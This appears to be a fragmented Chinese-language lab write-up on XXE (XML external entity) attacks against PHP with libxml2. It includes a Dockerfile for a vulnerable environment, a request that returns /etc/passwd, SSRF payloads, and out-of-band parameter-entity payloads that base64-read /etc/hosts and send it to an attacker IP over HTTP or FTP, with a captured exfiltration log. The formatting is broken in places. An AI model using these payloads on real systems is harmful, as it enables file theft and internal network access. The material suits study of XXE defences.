RUN wget http://xmlsoft.org/sources/libxml2-2.8.0.tar.gz -O /home/libxml2-2.8.0.tar.gz
RUN cd /home/ && tar -zxvf libxml2-2.8.0.tar.gz && rm -f /home/libxml2-2.8.0.tar.gz
RUN cd /home/libxml2-2.8.0 && ./configure && make && make install && make clean && cd / && rm -rf /home/libxml2-2.8.0
RUN set -xe \ && buildDeps=" \ $PHP_EXTRA_BUILD_DEPS \ libcurl4-openssl-dev \ libedit-dev \ libsqlite3-dev \ libssl-dev \ libxml2-dev \ " \ && apt-get install -y $buildDeps --no-install-recommends && rm -rf /var/lib/apt/lists/* \ \ && docker-php-source extract \ && cd /usr/src/php \ && ./configure \ --with-config-file-path="$PHP_INI_DIR" \ --with-config-file-scan-dir="$PHP_INI_DIR/conf.d" \ \ --disable-cgi \ \ # --enable-ftp is included here because ftp_ssl_connect() needs ftp to be compiled statically (see https://github.com/docker-library/php/issues/236) --enable-ftp \ # --enable-mbstring is included here because otherwise there's no way to get pecl to use it properly (see https://github.com/docker-library/php/issues/195) --enable-mbstring \ # --enable-mysqlnd is included here because it's harder to compile after the fact than extensions are (since it's a plugin for several extensions, not an extension in itself) --enable-mysqlnd \ \ --with-curl \ --with-libedit \ --with-openssl \ --with-zlib \ \ $PHP_EXTRA_CONFIGURE_ARGS \ && make -j "$(nproc)" \ && make install \ && { find /usr/local/bin /usr/local/sbin -type f -executable -exec strip --strip-all '{}' + || true; } \ && make clean \ && docker-php-source delete \ \ && apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false $buildDeps wget
curl -d @tmp.txt http://192.168.146.130/test.php 回显:You have logged in as user root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
如果此时将抓包内容改为
1 2 3 4 5 6 7 8
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://127.0.0.1:81/" >]> <creds> <user>&xxe;</user> <pass>mypass</pass> </creds>
可以达到SSRF的效果
1 2
<b>Warning</b>: DOMDocument::loadXML(http://127.0.0.1:81/): failed to open stream: Connection refused in <b>/var/www/html/test.php</b> on line <b>5</b><br /> <br />
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/hosts"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.146.128:80/?p=%payl;'>">
实体值不能为%,被转换为
1
%
此处payload也可以是
1
<!ENTITY % bbb SYSTEM "file:///etc/hosts"><!ENTITY % ccc "<!ENTITY % ddd SYSTEM 'ftp://fakeuser:%bbb;@192.168.146.128:2121/b'>">
但是因为没有编码,无法传输特殊符号,功能十分受限
根据不同环境可以做出不同的利用方法
libxml2
php
Java
.NET
ftp
ftp
http
file
http
file
https
http
file
http
ftp
https
X
php
jar
ftp
X
compress.zlib
netdoc
X
compress.bzlib2
mailto
X
data
gopher
X
glob
file
X
phar
攻击成功后文件内容保存在Logs目录下
1 2 3 4 5
Response with file/directory content received: GET /?p=MTI3LjAuMC4xCWxvY2FsaG9zdAo6OjEJbG9jYWxob3N0IGlwNi1sb2NhbGhvc3QgaXA2LWxvb3BiYWNrCmZlMDA6OjAJaXA2LWxvY2FsbmV0CmZmMDA6OjAJaXA2LW1jYXN0cHJlZml4CmZmMDI6OjEJaXA2LWFsbG5vZGVzCmZmMDI6OjIJaXA2LWFsbHJvdXRlcnMKMTcyLjE4LjAuMgkwNTM5ZGMxMDdkYWYK HTTP/1.0